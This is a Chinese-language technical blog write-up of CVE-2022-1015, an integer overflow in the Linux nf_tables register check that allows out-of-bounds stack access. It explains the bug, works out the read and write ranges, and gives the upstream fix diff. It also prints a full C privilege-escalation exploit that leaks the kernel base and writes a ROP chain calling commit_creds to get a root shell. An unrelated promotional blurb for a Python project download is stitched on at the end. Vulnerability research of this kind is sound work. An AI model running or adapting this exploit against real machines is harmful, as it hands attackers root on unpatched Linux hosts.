CVE-2022-1015:nf_tables 中整数溢出导致的栈溢出

前言

影响版本:v5.12.0~v5.17.0

测试版本:v5.17.0

编译选项:

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y

漏洞分析

nf_tables 子模块中,会对用户传入的寄存器编号进行合法性检查,防止越界访问。而在相关检查函数 nft_parse_register_loadnft_parse_register_store 中存在整数溢出,从而导致寄存器边界检查错误,而寄存器组是内核栈上的一片连续内存,所以对寄存器的越界访问则是导致了栈溢出

这里先来说说 nf_tables 中的寄存器,我们可以把 nf_tables 看作一个寄存器"虚拟机",其 rule 就代表一个功能,expression 就是构建 rule 功能的指令,而这些指令的数据就保存在寄存器中,其对应的结构体为 struct nft_regs

#define NFT_REG32_NUM		20
struct nft_regs {
	union {
		u32			data[NFT_REG32_NUM];
		struct nft_verdict	verdict;
	};
};

这里 data 的大小为 20 * 4 = 80 就是前面说的一片连续的内存,第一个寄存器为 verdict 寄存器,其用于对指令后续的判决,其大小为 16 字节,后面剩下的 80 - 16 = 64 字节就是数据寄存器 data regs,在老版本中数据寄存器的大小为 16 字节,一共 4 个,16 * 4 = 64;而在新版本中数据寄存器的大小为 4 字节,一共 16 个,4 * 16 = 64。而为了兼容性,目前是保留了这两种寄存器类型:

enum nft_registers {
	NFT_REG_VERDICT,
	NFT_REG_1,
	NFT_REG_2,
	NFT_REG_3,
	NFT_REG_4,
	__NFT_REG_MAX,

	NFT_REG32_00	= 8,
	NFT_REG32_01,
	NFT_REG32_02,
	NFT_REG32_03,
	NFT_REG32_04,
	NFT_REG32_05,
	NFT_REG32_06,
	NFT_REG32_07,
	NFT_REG32_08,
	NFT_REG32_09,
	NFT_REG32_10,
	NFT_REG32_11,
	NFT_REG32_12,
	NFT_REG32_13,
	NFT_REG32_14,
	NFT_REG32_15,
};

这里的 NFT_REG_VERDICT 表示的就是 verdict regNFT_REG_1~4 就是 16 字节的数据寄存器,NFT_REG32_00~15 就是 4 字节的数据寄存器

了解了这些,就来看下 nft_parse_register_load 函数,该函数会将用户传入的寄存器编号转化为对应的寄存器偏移,并检查合法性。nft_parse_register_store 跟它差不多,只是后者可以访问 verdict 寄存器:

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
	u32 reg;
	int err;

	reg = nft_parse_register(attr); // 提取传入的寄存器号,并转换为 Netfilers 寄存器组中的下标
	err = nft_validate_register_load(reg, len); // 对寄存器编号进行合法性检查
	if (err < 0)
		return err;

	*sreg = reg; // 将寄存器下标保存在 sreg 中
	return 0;
}

nft_parse_register 函数主要就是解析用户传入的寄存器号,将其转化为对应的偏移:

static unsigned int nft_parse_register(const struct nlattr *attr)
{
	unsigned int reg;

	reg = ntohl(nla_get_be32(attr)); // 获取传入的寄存器号,并从网络字节序转换为主机字节序
	switch (reg) {
    // NFT_REG_SIZE = 16,NFT_REG32_SIZE = 4,NFT_REG32_00 = 8
	case NFT_REG_VERDICT...NFT_REG_4: // 16 字节寄存器
		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
	default:	// 4 字节寄存器
		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
	}
}

可以看到如果传入的是 16 字节寄存器编号,则偏移为 reg * 4;其它的值都认为是 4 字节寄存器编号,偏移为 reg - 4

其实这里就有点问题,4 字节寄存器编号为啥不单独处理呢?

nft_validate_register_load 则是对寄存器进行合法性检查,防止越界访问:

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
    //	reg < 4 ==> error
	if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL; // 【1】
    // len == 0 ==> error
	if (len == 0)  return -EINVAL;
    // reg * 4 + len > 80 ==> error
	if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE; // 【2】

	return 0;
}

该函数会检查寄存器访问是否存在越界,因为寄存器组总共就 80 字节,所以这里主要就是检查 reg * 4 + len > 80 ,然后 nft_parse_register_load 函数而言,其不允许寄存器为 verdict reg,所以在 【1】 对其进行了检查

但是这里存在一个问题,上层传入的 reg 类型为 u32,然后 reg 是枚举类型,其通常会被编译为 int 类型,len 表示数据包的长度,所以这里 reg * 4 + len 可能存在整数溢出,例如 reg = 0xffffffff,len = 0x10,则 reg * 4 + len = 0x40000000c = 0xc > 80 is false,所以这里成功通过检查,但是此时 reg = 0xffffffff 显然是一个不正确的寄存器下标,而在 nft_parse_register_load 函数中可以看到 sreg 为一个 u8 * 指针,所以最后保存的其实只是低字节,即 sreg = 0xff

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
......
	*sreg = reg; // 将寄存器下标保存在 sreg 中
	return 0;
}

当然这里 enum nft_registers 的值是在一个字节以内的,所以编译器可能会直接将其优化为一个字节,所以这里还是得结合汇编代码查看:

   0xffffffff81c2e8d0 <nft_parse_register_load>:        nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81c2e8d5 <nft_parse_register_load+5>:      push   rbp
   0xffffffff81c2e8d6 <nft_parse_register_load+6>:      mov    eax,DWORD PTR [rdi+0x4]
   0xffffffff81c2e8d9 <nft_parse_register_load+9>:      bswap  eax
   0xffffffff81c2e8db <nft_parse_register_load+11>:     mov    edi,eax
   0xffffffff81c2e8dd <nft_parse_register_load+13>:     lea    ecx,[rax-0x4]
   0xffffffff81c2e8e0 <nft_parse_register_load+16>:     shl    edi,0x4
   0xffffffff81c2e8e3 <nft_parse_register_load+19>:     mov    rbp,rsp
   0xffffffff81c2e8e6 <nft_parse_register_load+22>:     shr    edi,0x2
   0xffffffff81c2e8e9 <nft_parse_register_load+25>:     cmp    eax,0x4
   0xffffffff81c2e8ec <nft_parse_register_load+28>:     mov    eax,edi  ; <==== eax
   0xffffffff81c2e8ee <nft_parse_register_load+30>:     cmova  eax,ecx  ; <==== eax
   0xffffffff81c2e8f1 <nft_parse_register_load+33>:     test   edx,edx
   0xffffffff81c2e8f3 <nft_parse_register_load+35>:     je     0xffffffff81c2e911 
   0xffffffff81c2e8f5 <nft_parse_register_load+37>:     cmp    eax,0x3
   0xffffffff81c2e8f8 <nft_parse_register_load+40>:     jbe    0xffffffff81c2e911 
   0xffffffff81c2e8fa <nft_parse_register_load+42>:     lea    edx,[rdx+rax*4] ; <===== reg*4 + len
   0xffffffff81c2e8fd <nft_parse_register_load+45>:     cmp    edx,0x50 ; <====== 检查 reg*4 + len > 80 ?
   0xffffffff81c2e900 <nft_parse_register_load+48>:     ja     0xffffffff81c2e921 
   0xffffffff81c2e902 <nft_parse_register_load+50>:     mov    BYTE PTR [rsi],al
   0xffffffff81c2e904 <nft_parse_register_load+52>:     pop    rbp
   0xffffffff81c2e905 <nft_parse_register_load+53>:     xor    eax,eax
   0xffffffff81c2e907 <nft_parse_register_load+55>:     xor    edx,edx
   0xffffffff81c2e909 <nft_parse_register_load+57>:     xor    ecx,ecx
   0xffffffff81c2e90b <nft_parse_register_load+59>:     xor    esi,esi
   0xffffffff81c2e90d <nft_parse_register_load+61>:     xor    edi,edi
   0xffffffff81c2e90f <nft_parse_register_load+63>:     ret

从汇编代码可以看出这里就是 u32 类型的 reg,所以这里确实是存在溢出问题的

这里还得简单说下 ruleexpression 是如何被执行的,其就是被 nft_do_chain 函数执行的,该函数定义如下:

unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
	const struct nft_chain *chain = priv, *basechain = chain;
	const struct nft_rule_dp *rule, *last_rule;
	const struct net *net = nft_net(pkt);
	const struct nft_expr *expr, *last;
	struct nft_regs regs; // <================= 栈上数据,并且没有初始化
	unsigned int stackptr = 0;
	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
	bool genbit = READ_ONCE(net->nft.gencursor);
	struct nft_rule_blob *blob;
	struct nft_traceinfo info;

	info.trace = false;
	if (static_branch_unlikely(&nft_trace_enabled))
		nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
	if (genbit)
		blob = rcu_dereference(chain->blob_gen_1);
	else
		blob = rcu_dereference(chain->blob_gen_0);

	rule = (struct nft_rule_dp *)blob->data;
	last_rule = (void *)blob->data + blob->size;
next_rule:
	regs.verdict.code = NFT_CONTINUE;
	for (; rule < last_rule; rule = nft_rule_next(rule)) { 	// 遍历 chain 中的所有 rule
		nft_rule_dp_for_each_expr(expr, last, rule) {		// 遍历 rule 中的所有 expr
			if (expr->ops == &nft_cmp_fast_ops)
				nft_cmp_fast_eval(expr, &regs);
			else if (expr->ops == &nft_bitwise_fast_ops)
				nft_bitwise_fast_eval(expr, &regs);
			else if (expr->ops != &nft_payload_fast_ops || !nft_payload_fast_eval(expr, &regs, pkt))
				expr_call_ops_eval(expr, &regs, pkt); 		// 调用 expr->ops->eval() 执行 rule
			if (regs.verdict.code != NFT_CONTINUE)			// 检查 verdict
				break;
		}
		// 如果 verdict == NFT_BREAK, 则停止执行该 rule,跳转到下一个 rule
		switch (regs.verdict.code) {
		case NFT_BREAK:
			regs.verdict.code = NFT_CONTINUE;
			continue;
		case NFT_CONTINUE:
			nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE);
			continue;
		}
		break; // 否则,停止执行所有 rule, 更细致的检查 verdict
	}

	nft_trace_verdict(&info, chain, rule, &regs);
	// chain 处理完成后,检查 verdict
	switch (regs.verdict.code & NF_VERDICT_MASK) {
	case NF_ACCEPT:
	case NF_DROP:
	case NF_QUEUE:
	case NF_STOLEN:
		return regs.verdict.code;
	}

	switch (regs.verdict.code) { 
    // NFT_JUMP 表示跳转到另一个 chain, 将返回地址压栈(类似call指令)
    // 如果将要执行的 chain 没有设置明确的 verdict, 则恢复之前中断的执行
	case NFT_JUMP:
		if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
			return NF_DROP;
		jumpstack[stackptr].chain = chain;
		jumpstack[stackptr].rule = nft_rule_next(rule);
		jumpstack[stackptr].last_rule = last_rule;
		stackptr++;
		fallthrough;
	// NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)
	case NFT_GOTO:
		chain = regs.verdict.chain;
		goto do_chain;
	case NFT_CONTINUE:
	case NFT_RETURN:
		break;
	default:
		WARN_ON_ONCE(1);
	}
	// 返回到调用栈之前的 chain
	if (stackptr > 0) {
		stackptr--;
		chain = jumpstack[stackptr].chain;
		rule = jumpstack[stackptr].rule;
		last_rule = jumpstack[stackptr].last_rule;
		goto next_rule;
	}

	nft_trace_packet(&info, basechain, NULL, NFT_TRACETYPE_POLICY);
	if (static_branch_unlikely(&nft_counters_enabled)) nft_update_chain_stats(basechain, pkt);
    // 如果没有到达明确的 verdict, 返回 chain 的 policy (默认为 accept 或 drop)
	return nft_base_chain(basechain)->policy;
}

可以看到这里的寄存器其实就是栈上数据,并且没有初始化,这里没有初始化,所以其存在未初始化漏洞(CVE-2022-1016),我们可以直接读取寄存器中的值去泄漏相关数据

漏洞利用

这里主要的想法就是去 bypass kaslr,然后利用栈溢出劫持程序执行流,这里笔者 bypass kaslr 利用的是 CVE-2022-1016 漏洞,其主要就是一个未初始化漏洞,这里还是说下 OOB R/W 原语的构造

这里主要利用到 nft_payloadnft_payload_setnft_bitwise 表达式,然后配合 UDP 协议,hook 点为 OUT

UDP 的原因是其不需要建立连接,是一次性的,非常方便;如果使用 TCP 的话,则每次都需要建立连接,而且还有一下其它的验证条件;hook 点的话随意吧,主要是看栈布局能不能够满足利用,因为通过后面的分析你可以知道,这里的越界读写是存在限制的

OOB Read

越界读主要使用 nft_bitwise 表达式:

笔者实际写利用是利用的 CVE-2022-1016,这里是后面看其它大佬的复现报告补的

struct nft_bitwise {
	u8			sreg;
	u8			dreg;
	enum nft_bitwise_ops	op:8;
	u8			len;
	struct nft_data		mask;
	struct nft_data		xor;
	struct nft_data		data;
};

这里 sregdreg 共用 len ,所以 len 不能越界,得不超过 64。然后我们可以使用 NFT_BITWISE_LSHIFTNFT_BITWISE_RSHIFT 操作,并让 data = 0,那么如果此时 sreg 如何越界,则可以将栈上的数据保存在 dreg 中,则可能泄漏相关地址

那么这里我们来计算一下该操作可以溢出的范围,我们知道我们必须得绕过 reg * 4 + len > 80 这个检查

注意:这里的 reg 是用户传入的值减了 4

  • 如果我们想要在经可能低的位置泄漏数据,则必须让 reg 的低字节足够小,也就是是 len 得足够大。前面说了 len 最大为 64,所以 reg 低字节最小为 0xf0,所以其可以读取的范围为 [0xf0*4, 0xfb*4+64][0x3c0, 0x42c]

    >>> for i in range(0xffffffff+1)[::-1]:
    ...  x = (i-4) * 4 + 64
    ...  if x & 0xffffffff <= 80:
    ...   print(hex(i-4))
    ...
    0xfffffffb
    0xfffffffa
    0xfffffff9
    0xfffffff8
    0xfffffff7
    0xfffffff6
    0xfffffff5
    0xfffffff4
    0xfffffff3
    0xfffffff2
    0xfffffff1
    0xfffffff0
    
  • 这里似乎还可以通过调整 len 去改变 reg 的范围,但是通过第一步可以看出,其最大的 reg 已经为 0xfb 了,所以后面改变 len 不能够再获得更大的读取范围了

所以我们需要在 n[0x3c0, 0x42c] 这个范围内去找到相关内核地址进行泄漏,主要思路如下:

  • 利用 nft_bitwise 越界读取内核地址到 dreg
  • 利用 nft_payload_setdreg 中的内核地址设置到 UDP 数据报数据部分

OOB Write

越界写主要使用 nft_payload 表达式:

struct nft_payload {
	enum nft_payload_bases	base:8;
	u8			offset;
	u8			len;
	u8			dreg;
};

可以看到这里 len 的最大长度为 0xff,所以这里 dreg 的越界范围为:

>>> for i in range(0xffffffff+1)[::-1]:
...  x = (i-4) * 4 + 0xff
...  if x & 0xffffffff <= 80:
...   print(hex(i-4))
...
0xffffffd4
0xffffffd3
0xffffffd2
0xffffffd1
0xffffffd0
0xffffffcf
0xffffffce
0xffffffcd
0xffffffcc
0xffffffcb
0xffffffca
0xffffffc9
0xffffffc8
0xffffffc7
0xffffffc6
0xffffffc5
0xffffffc4
0xffffffc3
0xffffffc2
0xffffffc1

[0x304, 0x350] 之间,所以得在里面找到某个函数的返回地址进行覆盖,这里还得注意如果存在 kcanary 的话,还不能覆盖 kcanary

所以这里的利用跟内存布局的关系非常大,不同版本的内核、不同的编译选项、不同的 gcc 版本都会导致相关栈内存布局发生变化。如果 UDP+OUT 无法满足利用栈布局,则考虑换成其它 HOOK 点或使用 TCP 协议。当然笔者比较幸运,在笔者编译的 v5.17 内核中,在该范围内刚好存在相关返回地址

exploit

这里比较难搞的时,在最开始为了操作 nf_tables,我们创建了新的命名空间,所以最后我们得进行命名空间的切换,但是笔者没有找到类似于 mov rdi, rax ; ret 效果的 gadget,所以笔者就没有进行命名空间的切换(:但是问题不大???

最后 exploit 如下:有一定的概率失败,主要就是泄漏 kbase 的时候可能栈内存布局上没有残留的内核地址导致的

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>

#include "netlink.h"

#define RULE_LEAK_ADDRESS 0
#define RULE_ROP_CHAIN 1

struct udp_data {
        char* data;
        size_t size;
        uint16_t port;
        char* addr;
        size_t addr_size;
};

struct listener_data {
        uint16_t port;
        char address[8];
};


uint32_t leak_expr_dreg = NFT_REG32_00;
static struct nftnl_rule *setup_rule_for_leak(uint8_t family, const char *table, const char *chain, uint16_t port) {
        puts("[+] Try to bypass kaslr");
        struct nftnl_rule *r = NULL;
        r = nftnl_rule_alloc();
        if (r == NULL) fail_exit("nftnl_rule_alloc()");

        nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
        nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
        nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

        // 检查 udp 端口
        // port at offset = 2 | len = 2
        puts("[+]  add_cmp to check port");
        add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 2, 2, NFT_REG32_01);
        uint16_t port_net = htons(port);
        add_cmp(r, NFT_CMP_EQ, NFT_REG32_01, &port_net, sizeof(port_net));

        // leak kernel address
//      puts("[+]  add_bitwise to oob read");
//      uint32_t expr_len = 0x20;
//      uint32_t expr_sreg = NFT_REG32_01;
//      uint32_t expr_dreg = NFT_REG32_05;
//      uint32_t shift_data = 0;
//      add_bitwise(r, NFT_BITWISE_LSHIFT, expr_len, expr_sreg, expr_dreg, shift_data);

        puts("[+]  add_payload_set to get leak data");
        add_payload_set(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0x40, leak_expr_dreg);
        set_verdict(r, NFT_CONTINUE);

        return r;
}

static struct nftnl_rule *setup_rule_for_rop(uint8_t family, const char *table, const char *chain, uint16_t port) {
        puts("[+] Try to write rop chain");
        struct nftnl_rule *r = NULL;
        r = nftnl_rule_alloc();
        if (r == NULL) fail_exit("nftnl_rule_alloc()");

        nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
        nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
        nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

        puts("[+]  add_payload to write rop chain");
        add_payload(r,  NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0xf0, 0xffffffcc);
        set_verdict(r, NFT_CONTINUE);

        return r;
}

void add_rule(char *table_name, char *chain_name, char rule_type, uint16_t port) {
        struct mnl_socket *nl;
        struct nftnl_rule *r;
        struct nlmsghdr *nlh;
        struct mnl_nlmsg_batch *batch;
        uint8_t family;
        char buf[MNL_SOCKET_BUFFER_SIZE];
        uint32_t seq = time(NULL);
        int ret;

        family = NFPROTO_IPV4;

        if (rule_type == RULE_LEAK_ADDRESS)
                r = setup_rule_for_leak(family, table_name, chain_name, port);
        else if (rule_type == RULE_ROP_CHAIN)
                r = setup_rule_for_rop(family, table_name, chain_name, port);
        else fail_exit("No such rule type");
        if (r == NULL) fail_exit("setup_rule");

        nl = mnl_socket_open(NETLINK_NETFILTER);
        if (nl == NULL) fail_exit("mnl_socket_open()");
        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
                fail_exit("mnl_socket_bind()");
        batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
                                    NFT_MSG_NEWRULE,
                                    nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
                                    NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
                                    seq++);
        nftnl_rule_nlmsg_build_payload(nlh, r);
        nftnl_rule_free(r);
        mnl_nlmsg_batch_next(batch);

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                                mnl_nlmsg_batch_size(batch));
        if (ret == -1) fail_exit("mnl_socket_sendto()");
        mnl_nlmsg_batch_stop(batch);

        ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
        if (ret == -1) fail_exit("mnl_socket_recvfrom()");

        ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
        if (ret < 0) fail_exit("mnl_cb_run()");
        mnl_socket_close(nl);
}

int e = 1;
int g = 1;
void* send_udp_packet(void *arg) {
        struct udp_data *leak_udp = (struct udp_data*)arg;
        int fd;
        struct sockaddr_in addr;

        while (g) {}
        fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if (fd < 0) fail_exit("socket()");

        addr.sin_family = AF_INET;
        addr.sin_port = htons(leak_udp->port);
        addr.sin_addr.s_addr = inet_addr(leak_udp->addr);

        if (sendto(fd, leak_udp->data, leak_udp->size, 0, &addr, sizeof(addr)) < 0)
                fail_exit("sendto()");
        while (e) {}
        close(fd);
        pthread_exit(NULL);
}

void* recv_address(void* arg) {
        struct listener_data *ldata = (struct listener_data*)arg;
        int fd, res;
        char buf[1024] = { 0 };
        struct sockaddr_in addr;

        fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if (fd < 0) fail_exit("socket()");

        int reuse_address = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse_address, sizeof(reuse_address));

        if (!inet_aton("127.0.0.1", &addr.sin_addr.s_addr)) fail_exit("inet_aton()");
        addr.sin_family = AF_INET;
        addr.sin_port = htons(ldata->port);

        res = bind(fd, &addr, sizeof(addr));
        if (res < 0) fail_exit("bind()");
        printf("[+] Listening on port %d\n", ldata->port);
        g = 0;

        int addr_len = sizeof(struct sockaddr_in);
        res = recvfrom(fd, buf, 1024-1, MSG_WAITALL, (struct sockaddr*)&addr, &addr_len);
        if (res == -1) fail_exit("recvform()");
        buf[res] = '\x00';
        printf("[+] recvform data len: %d\n", res);
        binary_dump("Leak Data", buf, res);
        uint64_t dic[2] = { 0xffffffff81b634ae, 0xffffffff81b5fd39 };
        uint64_t *ptr = (uint64_t*)buf;
        for (int i = 0; i < res / 8; i++) {
                for (int j = 0; j < 2; j++) {
                        if ((ptr[i]&0xfff) == (dic[j]&0xfff) && ((ptr[i]>>32)&0xffffffff) == 0xffffffff
                                        && ptr[i] > 0xffffffff81000000) {
                                ptr[i] = ptr[i] - dic[j];
                                memcpy(&ldata->address, &ptr[i], 8);
                                goto OVER;
                        }
                }
        }

OVER:
        e = 0;
        pthread_exit(NULL);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int main() {

        unshare_setup();
        save_status();
        system("ip link set dev lo up");
        system("ip addr");
        puts("");
        uint64_t kbase = 0xffffffff81000000;
        uint64_t koffset = 0;
        uint16_t port = 40004;
        pthread_t send_thr, recv_thr;

        puts("[+] Step I: Bypass kaslr");
        char *table_name = "leak_table";
        char *chain_name = "leak_chain";
        setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);
        add_rule(table_name, chain_name, RULE_LEAK_ADDRESS, port);

        struct udp_data leak_udp = { 0 };
        char *data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        char *addr = "127.0.0.1";
        leak_udp.data = data;
        leak_udp.size = 0x40;
        leak_udp.port = port;
        leak_udp.addr = addr;
        leak_udp.addr_size = sizeof(leak_udp.addr);
        pthread_create(&send_thr, NULL, send_udp_packet, (void*)&leak_udp);

        struct listener_data recv_data;
        memset(&recv_data, 0, sizeof(recv_data));
        recv_data.port = port;
        pthread_create(&recv_thr, NULL, recv_address, (void*)&recv_data);

        pthread_join(send_thr, NULL);
        pthread_join(recv_thr, NULL);

        dele_table(table_name);
        koffset = *(uint64_t*)recv_data.address;
        kbase += koffset;
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] kbase: %#llx\n", kbase);
        puts("");


        puts("[+] Step II: Rop chain");
        port += 10000;
        table_name = "rop_table";
        chain_name = "rop_chain";
        setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);
        add_rule(table_name, chain_name, RULE_ROP_CHAIN, port);

        uint64_t pop_rdi = koffset+0xffffffff810ade60;
        uint64_t pop_rsi = koffset+0xffffffff811a99a9;
        uint64_t commit_creds = koffset+0xffffffff810fb090;
        uint64_t init_cred = koffset+0xffffffff82a8b040;
        uint64_t find_task_by_vpid = koffset+0xffffffff810f1070;
        uint64_t switch_task_namespaces = koffset+0xffffffff810f92a0;
        uint64_t init_nsproxy = koffset+0xffffffff82a8ae00;
        uint64_t kpti_trampoline = koffset+0xffffffff82000ff0+0x1b;
        uint64_t push_rax = koffset+0xffffffff810494b8;
        uint64_t magic = koffset+0xffffffff81a1c02c; // push rax ; pop rdi ; jle 0xffffffff81a1c030 ; pop rbp ; xor esi, esi ; xor edi, edi ; ret
        struct udp_data rop_udp = { 0 };
        uint64_t rop[0x100/8] = {
                pop_rdi,
                init_cred,
                commit_creds,
        //      pop_rdi,
        //      getpid(),
        //      find_task_by_vpid,
        //      magic,
        //      0,
        //      pop_rsi,
        //      init_nsproxy,
        //      switch_task_namespaces,
                kpti_trampoline,
                0,0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_sp,
                user_ss
        };
        char payload[0x200] = { 0 };
        memcpy(payload+0x14, rop, sizeof(rop));
        rop_udp.data = payload;
        rop_udp.size = 0x100;
        rop_udp.port = port;
        rop_udp.addr = addr;
        rop_udp.addr_size = sizeof(rop_udp.addr);
        e = g = 0;
        pthread_create(&send_thr, NULL, send_udp_packet, (void*)&rop_udp);
        pthread_join(send_thr, NULL);

        puts("[+] EXP NERVER END");
        getchar();
        return 0;
}

效果如下:
在这里插入图片描述

修复

diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b354..1f5a0eece0d14b 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
 }
 EXPORT_SYMBOL_GPL(nft_parse_u32_check);
 
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
 {
 	unsigned int reg;
 
 	reg = ntohl(nla_get_be32(attr));
 	switch (reg) {
 	case NFT_REG_VERDICT...NFT_REG_4:
-		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		*preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+		break;
+	case NFT_REG32_00...NFT_REG32_15:
+		*preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		break;
 	default:
-		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+		return -ERANGE;
 	}
+
+	return 0;
 }
 
 /**
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
 	u32 reg;
 	int err;
 
-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+
 	err = nft_validate_register_load(reg, len);
 	if (err < 0)
 		return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,
 	int err;
 	u32 reg;
 
-	reg = nft_parse_register(attr);
+	err = nft_parse_register(attr, &reg);
+	if (err < 0)
+		return err;
+
 	err = nft_validate_register_store(ctx, reg, data, type, len);
 	if (err < 0)
 		return err;

最后的修复比较简单,就是对 4 字节的寄存器进行单独的处理,所以后面的 reg 被限制在有效范围内,而其为 u32 类型的计算,所以不会导致溢出,但是如果是 u8 类型的计算则会导致溢出,所以我认为还是应该把 nft_validate_register_load 函数和 nft_validate_register_store 函数的第一个参数修改为 u32

  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip
